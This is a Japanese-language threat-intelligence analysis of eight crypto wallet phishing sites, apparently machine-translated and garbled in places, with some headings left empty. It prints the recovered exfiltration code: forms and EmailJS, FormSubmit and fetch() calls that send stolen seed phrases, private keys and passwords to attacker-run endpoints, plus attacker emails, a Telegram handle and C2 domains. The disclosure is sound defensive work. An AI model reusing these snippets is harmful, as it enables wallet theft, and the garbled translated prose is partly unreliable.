暗号資産フィッシングの仕組み：
8つの実際の攻撃事例を徹底分析

なりすまし

ウォレットの検証を目的とした架空の「分散型プロトコル」。信頼性を高めるため、CryptoCompareのリアルタイム価格ティッカーや、実際のブロックチェーンエクスプローラー（イーサリアム、BSC、ポリゴン、アバランチ、ソラナ、カルダノ）へのリンクを採用しています。 ランディングページには100以上のウォレットロゴと、3ステップの「検証」プロセスが掲載されています。

二重の流出経路

5つの中で最も洗練されたバックエンド――盗まれた認証情報はすべて、ここを経由して送信される 2つの独立したチャンネル 同時に：

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINTによる調査結果

なりすまし

現実をピクセル単位で忠実に再現したスクレイピング アクアリブレ（AQLA） トークンの移行ページ。そのHTMLには、ソースを明らかにするメタデータタグが含まれています： data-scrapbook-source="https://token.aqla.app/migration"、2024年11月19日のタイムスタンプ付き。

ゼロコード・アプローチ

この攻撃者には以下が必要です サーバーサイドのコードが一切ない. この フォームは、直接 非静的 — 静的サイト向けの正規のフォームバックエンド。すべての 送信データは、詐欺師のメールアドレスに転送される。攻撃者の メールアドレスは ソースコードには決して表示されない.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

なりすまし

このサブドメインには「」が含まれていますsafpal" — a 意図的なスペルミスである SafePal、 人気のあるハードウェアウォレットです。このサイトは「Blockchain Wallet Rectification」を装い、26の偽の問題カテゴリを掲載しています。Typed.jsを使用して チェーン名（イーサリアム、BSC、ポリゴンなど）をアニメーション表示し、 信頼性を高めるためにLiveCoinWatchのティッカーを採用しています。

同じキット、同じオペレーター？

を使用します。 まったく同じフィッシングのテンプレート サイト#2として： 同一 connect.html, 同一の wallets.html 60以上のロゴがあり、バックエンドはUn-staticと同じ（フォームIDが異なる — 6f1b82c3...da9943af）。この同一のキットは、強く示唆している 1人のオペレーターが両方のサイトを運営している.

コード内の誤り：「Privay Policy」（「c」が欠落）、「seperated」（「separated」が正しい）、「Kestore」（「y」が欠落）。パスワード入力欄では type="text" ～の代わりに type="password".

なりすまし

のほぼ完璧なクローンである フレア・ネットワーク portal — FTSOおよびData Connectorプロトコルを備えた、本格的なレイヤー1 EVMブロックチェーン。30以上のエコシステムパートナー、ナビゲーション、ブランディングを模倣している。ファビコンはタイポスクワットサイトから読み込まれている： portal.flaremainet.com （「mainnet」から「n」が1つ抜けています）。

EmailJSの二重化による冗長性

これを使用している唯一のサイトは 2つの別々のEmailJSアカウントを同時に利用 削除対策としての冗長性確保のため：

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

盗難が発生するたびに送信されるメールの件名： "New Wallet Details from Flare".

サイト #4：有料広告、分析トラッキング、二重のデータ流出 — 最もプロフェッショナルな作戦

なりすまし

汎用的な「COIN NODE」／「Wallet Fix」サービス（特定のブランド名なし）。著作権「Wallet Fix 2022」— このキットテンプレートは少なくとも4年前のものです。画像は以下にホストされています pumpeth.com (AWS上のWordPress)。

フィッシング・アズ・ア・サービス

最も懸念されるバックエンドアーキテクチャ：a UUID ベースのマルチテナント API:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

各詐欺師には、それぞれ固有のUUIDエンドポイントが割り当てられます。中央の運営者がAPIを管理し、キャンペーンを追跡し、場合によっては盗まれた資金の一部を搾取することもあります。これは 組織的な暗号資産窃盗 — 「フィッシング・アズ・ア・サービス（Phishing-as-a-Service）」モデル。

関連インフラ（ほぼ機能停止中）

なりすまし

A 二本柱の作戦: 一般的な「サポートセンター」は wallet-support-39n.pages.dev 15種類の偽の号外カテゴリと39の財布ブランドに加え、さらに ピクセルパーフェクトなLedgerオンボーディングのクローン で ledger-recovery.support Replit上でホストされており、デバイスモデルの選択、PINの設定、24語のシードフレーズグリッドが完備されており、 本物のBIP39オートコンプリート.

アンチスキャナー C2 バックエンド

このウォレットのサポートページは、盗まれたデータを api.uranustoken.org/log — Cloudflareの背後に配置された、カスタマイズされたnginx/Ubuntu C2。バックエンドは すべてのGETリクエストを意図的に破棄する （522タイムアウトを返す）、POSTリクエストにのみ応答する。つまり、URLスキャナーやGoogle Safe Browsingのクローラー、およびGETリクエストでエンドポイントにアクセスするセキュリティ研究者は何も検出できず、C2は機能停止しているように見える。

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

このLedgerクローンは、Replit上で独立したExpress.jsバックエンドを実行しています： POST /api/recovery-phrase 収集 {deviceId, pin, phrase}. これを返します 400 {"error":"Invalid data provided"} 不正な入力の場合 — バックエンドが 稼働中かつ積極的に検証中 盗まれたデータ。

OSINTによる調査結果

なりすまし

次のような機能を備えた汎用的な「分散型ローンチパッド」 21種類のエサ （ステーキング、移行、KYC、プレゼントキャンペーン、報酬の受け取り、資産の回復、プレセール、NFTの鋳造、ロックされたアカウント…）および 70以上の財布ブランド — 私たちがこれまで目にした中で最も網羅的なウォレット一覧の一つだ。しかし、「Sychronize」（「n」が抜けている）という明らかな誤字が、これが偽物であることを露呈している。

FormSubmit Pipeline

用途 FormSubmit.co — 正規のフォームからメールへの送信サービス。エンドポイントのハッシュ a2cf4131f1a5d39453c7c183df96f86f これは、詐欺師のメールアドレスのMD5ハッシュです。私たちは、Gmail、Yahoo、Hotmail、ProtonMail、Yandex、Mail.ruのメールアドレスについて、何百ものパターンを総当たり攻撃で試しました―― 一致なし. 詐欺師は、あまり使われていないメールアドレスやランダムに生成されたメールアドレスを使用します。

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINTによる調査結果

なりすまし

不明 — フロントエンドとバックエンドの両方がオフラインになっている。ペイロードの構造から判断すると、これは暗号資産ウォレットのシードフレーズを盗み出すものだった。その Cloudflare R2 パブリックバケット （Pagesではなく、オブジェクトストレージ）は、 十分に実証されているフィッシングの手口 Netskopeの報告によると、5,000件以上の悪意のあるページが特定され、トラフィックは61倍に増加した。

スクリプトキディの環境構築

最も 基本演算 このコレクションでは。シードフレーズは送信されます 一語ずつ 無料のダイナミックDNSを経由して、自宅のパソコンやVPS上で実行されているPHPスクリプトへ：

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINTによる調査結果